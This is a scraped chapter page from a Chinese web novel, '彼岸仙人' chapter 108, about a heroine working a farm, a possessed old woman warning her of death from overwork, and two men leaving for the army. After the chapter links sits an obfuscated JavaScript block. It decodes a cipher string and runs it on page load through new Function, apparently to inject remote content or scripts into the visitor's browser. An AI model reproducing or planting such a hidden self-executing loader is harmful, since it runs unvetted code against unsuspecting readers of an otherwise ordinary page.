返回

彼岸仙人

首页
关灯
护眼
字体:
第一零八章 他说我在玩?
(手机请访问 m.duxs8.com); 我好奇地看向牛青天刚才摸出鸡腿的地方,果然,那里还放着最后一个鸡腿。

王雨好像也发现了,她还故意露出她养着的一只五彩蛊虫,说着:“我把这种虫子放到她身上去了。”

“切,不就是一只虫子嘛,谁没见过。”牛青天又咬了一口鸡腿。

王雨轻哼一声,甩出了手上的五彩蛊虫,说着:“去!”

五彩蛊虫飞到牛青天的手上,吸附在牛青天还未吃完的鸡腿上。

在牛青天诧异地目光下,他手中的鸡腿融化了?!

是,是真的融化了,融化的速度很快。而且没有滴落到地上,反而都被五彩蛊虫给吸收了。

在牛青天愣神间,王雨快人一步拿走了最后一个鸡腿,得意地在牛青天的面前,学着他刚才的样子,大吃特吃。

不知道为什么,现在的王雨给我的感觉就像一个小孩子。

“我要拜你为师。”牛二妹语出惊人地说着。

“啊?”我看向了牛二妹。

牛二妹直接跪在王雨的面前,嗑着响头,喊着:“师父。”

吃的满嘴油的王雨愣住了,她看向了我,又看向了跪在地上的牛二妹,手里的鸡腿瞬间被牛青天给抢走了。

牛青天说:“你必须收,不然这鸡腿,我就……”

“收,我收。”此刻王雨的眼睛只盯鸡腿,想也不想地就答应了。

看样子,王雨也是吃货一枚,只是,以前身为翠娥的我没多加接触,没有发现罢了。

“师父在上,请受徒弟一拜。”牛二妹接过牛青天递给她的鸡腿,双手捧着拿给王雨。

王雨就像刚回过神那般,说:“那……就这样吧。”

我无语地捧着饭食离开厨房,送到了牛大郎的房间。

进屋的时候,我就看见竹玉和牛大郎在掰手腕。

“吃饭了。”我把饭食放到他们的面前,竹玉闻到鸡腿的味道,直接就松劲了。

“哈哈,我赢了,你要把胡子剃掉。”牛大郎接过我手里的筷子,豪爽地对竹玉说着。

竹玉捧起碗,也接过我手里的筷子,说:“剃就剃,不过你可要小心。”

“小心什么?”

“小心你家的这个婆娘看上我呗。”竹玉意有所指地看着我说着。

我无语地翻着白眼,“你想太多了。”说完,我就对牛大郎说:“这几天我去把种番薯的那块地翻一翻,折磨种些别的。”

“在等等,等我能起身了在去种。”牛大郎吃着饭,对着我说着:“还能锻炼一下快要恢复的腿。”

我摇头,说着:“种地还得看天,哪能在等等。你就安心养着吧,凡事有我。”

我来替雪烟走这一遭,就是为了把一个妻子和嫂子的责任扛起来。

竹玉默不作声地吃着饭,牛大郎深深地看了我一眼,说:“那如果累了,就休息会。”

我点头,说:“知道的,不是还有二妹跟青天帮我。”

只是,等到我真的开始翻地时,牛青天去学堂了,牛二妹跟着王雨学起了养蛊虫的方法,竹玉则是买了一盘围棋,窝在屋里跟牛大郎每天厮杀着。

我翻地时,牛二妹和王雨在找虫子;我播种时,牛二妹和王雨在捉蚯蚓,试着把蚯蚓培育成蛊虫;我除草、施肥时,牛二妹跟王雨放弃了蚯蚓,准备捉蝴蝶;我收割作物时,牛二妹和王雨消失了。

我背着装有一大袋玉米的麻袋,准备一鼓作气背回家时,就遇见了被冥王附身的老太婆。

只是,此刻被冥王附身的老太婆却略显嫌弃地看着我说:“我的任务完成了,我要回去了,你还要玩到什么时候?”

“我是在玩吗?”我把好不容易扛起来的麻袋放下,捶着肩膀说:“我每天累死累活的,还不是要把这个家扶起来,你既然说我是在玩!”

“好吧,我说错了。”

“哼,要回你就赶紧回吧,我还得继续干活呢。”我不耐烦地说着。

“我本来就是跟你辞别的,明晚三更就是这个老太婆的死期。”

“那你能说下,雪烟的死期是何时吗?”我连忙问着。

“像你这样继续劳作下去,不出四五年,你会过劳死。”被冥王附身的老太婆白了我一眼,从我面前慢悠悠地走了过去。

我却犹如被人点拨了一般,立即使出吃奶的力气,把麻袋扛回去,又往回几趟,等把成熟的玉米全部收好后,我就立即撸起袖子开始拿着锄头翻地。

过劳死哎,听着多棒,那我要继续劳动,劳动最光荣。

一年后,牛大郎的腿彻底好了,健走如飞的他和竹玉还一起做了一个决定,那就是两人准备一起去参军。

这个决定他们说的时候,牛二妹在跟王雨研究蛊虫,牛青天则是背着课本,我则是跟村里的一个大妈准备种大白菜。

没有人对于他们的决定有丝毫的不赞成,我们几个表示着:“哦,好,可以。”

在牛大郎和竹玉快要离开时,剃掉胡子的竹玉一如往昔那般,他对我说:“你虽然跟她很像,你终究不是她。”

一年来,竹玉总是有意无意地喊我翠娥,我每天劳动迷糊时,还会应上一两声。只是,在应了以后的我,总会哼着声说:“咋样,我应了,你可舒坦?”

今天,他都要跟牛大郎一起走了,却跟我说这句话,我也没咋情绪,只是还想试试他对翠娥的反应。

我按着有些酸疼的太阳穴,对着竹玉说:“昨晚,我梦见了一个姑娘,她说她叫翠娥。”

竹玉苦笑了一番,说:“这么久了,我从来不曾梦见过她,她倒给你托梦了。”

我低头,说:“梦里太模糊,我只记得她说,她现在过的很好。”

“过的很好?”竹玉勾起唇角,他看向了远方说:“下次你在梦见她,记得跟她说,不管她过的如何,我会继续找她。”

“好。”我低语着。

牛大郎却站在一边不说话,只是沉默着。

我看向他讪笑着:“干嘛呀,都要走了,就没有话要跟我说吗?”

牛大郎紧了紧包袱,他低语着:“谢谢你。”

“呃……”我困惑地看着牛大郎,不知道为什么他要对我谢谢?

“就这样吧,我们走了。”牛大郎和竹玉各牵着一匹骏马,翻身骑了上去。

“一路顺风。”

“哥,要保重,我们等你。”牛二妹低声说着。如今的她像极了王雨,她们两人还搞了两套苗疆的衣裳,露出了细胳膊和小细腿。

牛大郎和竹玉点着头,驾着两匹马儿绝尘而去,

牛青天也在两年后去参加科举考试,考的很不错,考上了探花。

牛二妹则是跟着王雨东奔西跑,听说还去了几回苗疆。

我呢,每天就是下地干活,把收上来的玉米、花生、地瓜、土豆,全部拿去卖掉。虽然量不多,但胜在卖相好。

过劳死,一直盘旋在我心间,我一直也把这句话当成目标。

牛二妹也曾回来过,她也会帮忙一起收成熟的玉米和大白菜。

只是,这些天,她却会担忧地看着我说:“嫂子,现在家里就你一个人了,你还这么忙活干嘛呀?”

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();